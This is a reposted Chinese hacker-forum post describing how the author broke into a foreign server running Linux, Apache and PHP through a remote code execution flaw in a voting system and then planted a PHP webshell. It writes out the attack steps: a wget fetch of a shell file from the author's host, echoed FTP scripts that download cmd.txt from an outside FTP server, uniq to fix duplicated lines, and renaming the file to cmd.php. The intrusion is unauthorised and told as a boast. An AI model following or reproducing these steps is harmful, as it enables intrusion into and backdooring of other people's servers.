linux php 如何上传webshell,linux+apache+php的一次拿webshell的心得
首先俺先聲明俺是個菜鳥,俺雖然是菜鳥但俺不會一直是菜鳥的(一旁兄弟喊到:別俺,俺,俺的,說普通話!)。俺,不對,我一直遵照著實踐是檢驗真理的唯一標準這句話學習技術,這不,剛剛實踐了一次有了一點小小的心得,拿出來和大家分享一下:)
簡單介紹一下背景吧(旁白:我kao,你寫小說呢?),我一直想拿一個TK國的肉雞(沒有仇啊,只是從來沒拿過,想要!),于是google了一個,然后一陣狂掃(哎,固有思路的錯)廢了半天勁,結果是沒戲!正準備走的時候發現了它用的一個投票系統,于是滿大街找終于找到了下載地址。dwon下來后,開始閱讀代碼(當時很激動,第一次嘗試漏洞發掘!),結果居然被我找到了一個遠程代碼執行的漏洞,乎乎,趕緊試了一下,成功!看樣子,我要發財了。于是看了看safe_mode=OFF,嘿嘿~~可以執行shell命令。下面的思路很顯然了,就是拿webshell。原來在win中碰到mssql可以執行命令的情況最簡單的辦法就是用echo寫入一句話后門,于是趕緊找來php的一句話后門,結果一看傻了眼。linux shell中">","
1。使用單引號將要轉義的字符包含起來
2。在需要轉義的字符前加上“\”符號。
正要興沖沖地修改一句話后門,才想起來還沒看看目標機器的magic_quotes_gpc是怎么設置的。一想到這心里涼了一大節,一般都是ON的啊。實踐檢驗真理,果然被我言中了。因為它一ON,所有的單引號,還有空字符,以及“\”等字符前面又被加上了一個“\”。我的一句后門被改的面目全非還執行個P啊:-(
一條路斷了,接著找另一條。想到wget下載的方法,這個以前看過很多前輩用過,于是先看看wget存不存在,如圖(圖中我是為了方便,自己寫的一個exp。):
=800) window.open('/Article/UploadPic/2007-2/2007210454786.jpg');" src="/Article/UploadPic/2007-2/2007210454786.jpg" οnlοad="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';" border=0>
看樣子是存在的。于是把一個執行cmd功能的php文件cmd.php改成cmd.txt上傳到自己的web空間(記得要改后綴啊,因為直接請求一個php文件返回的結果是解析過的,肯定不對的了!),在exp環境中輸入wget http://www.myhost.com/cmd.txt。結果等了半天卻是失敗了(后來我又
google了幾個有漏洞的站,只有一個使用wget下載成功的。其它的都失敗了!:-()
一條路又沒了,哎~~~接著想吧!突然想起來原來在win下使用ftp命令上傳webshell的方法,于是回憶了一下過程:
1。使用echo命令把ftp指令echo到一個文本文件里
2。使用 ftp的-s選項制訂這個文本文件,這樣下載的整個過程都不需要人工干預了。
好,說干就干!需要echo的內容如下:
echo open 111.111.111.111 >temp.txt
echo username >>temp.txt
echo passwd >>temp.txt
echo get cmd.txt >>temp.txt
echo bye >>temp.txt
上面的ip和用戶名和密碼都是假的,你問我為什么?(我kao,我怕哪為大哥把我的ftp給做了:-)實際用的時候換成你自己的就行了,好,開始在exp環境下echo,一會的功夫就echo完了。確保正確我們在cat一下看看吧:cat ./temp.txt,這一cat不要緊,我又驚了一次!里面的每一行都被重復了一次,如圖(這個是我事后為了寫這個文章重新做的,所以忘了在最前面echo open 111.111.111.111了,大家知道就行!:-)
=800) window.open('http://forum.eviloctal.com/attachment/Mon_0701/10_72248_1be50d4c79fba15.jpg');" src="http://forum.eviloctal.com/attachment/Mon_0701/10_72248_1be50d4c79fba15.jpg" οnlοad="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';" border=0>
面對這個問題,再次我讓我想到在win+mssql情況下也碰到這樣的問題,原因是由于對數據庫多次查詢造成的結果。當時的解決辦法有很多,常用的有:
1。如果寫入的是一句話后門可以直接echo進去,使用“>”而不是“>>”。
2。寫入hget.vbs,用來下載指定的文件。這個時候可以才用“:”符號把各行代碼連接起來,一次性寫入。
3。或者是用echo把每行代碼都echo到一個不同的文件,然后再用copy命令把這些文件的內容連接起來生成新的文件。
還有其它的方法我就不多說了,但很明顯,這些方法用在我這里是肯定不行的了!因為我查了一下,cp命令好像不支持“+”連接符。難道沒辦法了嗎?NO!方法是人想出來的,于是乎我查來查去還真讓我找到了一個寶貝:uniq命令,這個是linux shell下的自帶程序,功能很單一,但恰恰是我們需要的——去除重復行。我再kao一次,thank god!命令幫助如下:
QUOTE:
$ uniq --help
Usage: uniq [OPTION]... [INPUT [OUTPUT]]
Discard all but one of successive identical lines from INPUT (or
standard input), writing to OUTPUT (or standard output).
Mandatory arguments to long options are mandatory for short options too.
-c, --count ? ? ? prefix lines by the number of occurrences
-d, --repeated ? ? only print duplicate lines
-D, --all-repeated[=delimit-method] print all duplicate lines
delimit-method={none(default),prepend,separate}
Delimiting is done with blank lines.
-f, --skip-fields=N ? avoid comparing the first N fields
-i, --ignore-case ? ignore differences in case when comparing
-s, --skip-chars=N ? avoid comparing the first N characters
-u, --unique ? ? ? only print unique lines
-w, --check-chars=N ? compare no more than N characters in lines
--help ? display this help and exit
--version output version information and exit
A field is a run of whitespace, then non-whitespace characters.
Fields are skipped before chars.
Report bugs to .
常搞黑的應該能認出大多數單詞了,我就不多做介紹了。反正用在我這里,就這么簡單一句命令就可以搞定:uniq temp.txt >down.txt,如圖:
=800) window.open('http://forum.eviloctal.com/attachment/Mon_0701/10_72248_9188d83bdf39436.jpg');" src="http://forum.eviloctal.com/attachment/Mon_0701/10_72248_9188d83bdf39436.jpg" οnlοad="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';" border=0>
哈哈,成了吧?下面用法就很簡單了,在exp的提示符下輸入ftp
下面的工作就好辦了,使用mv改個名字就行了:mv ./cmd.txt ./cmd.php
到這里就結束了,我原來在交流版塊發過一個求助的帖子,除了幾個兄弟回帖外便沒有什么價值的東西了。我也是菜鳥,和大多數菜鳥都有一個很不好的習慣:不懂就問。哎~~~其實有些東西不是咱們比老鳥差,而是我們太懶太不知道總結了,所以我們應該是不懂就學,而不是不懂就問!這樣,我們才會從菜鳥變成老鳥,才能進步!
上面乃是自己的經驗總結,看上去很簡單,可是卻耗費了我不少精力,所以如果您不喜歡請不要打擊我,回個帖鼓勵鼓勵我,我會很感激的。謝謝!
總結
以上是生活随笔為你收集整理的linux php 如何上传webshell,linux+apache+php的一次拿webshell的心得的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: oracle注入过滤了单引号,sql绕过
- 下一篇: embedv.php_PHP与视频播放插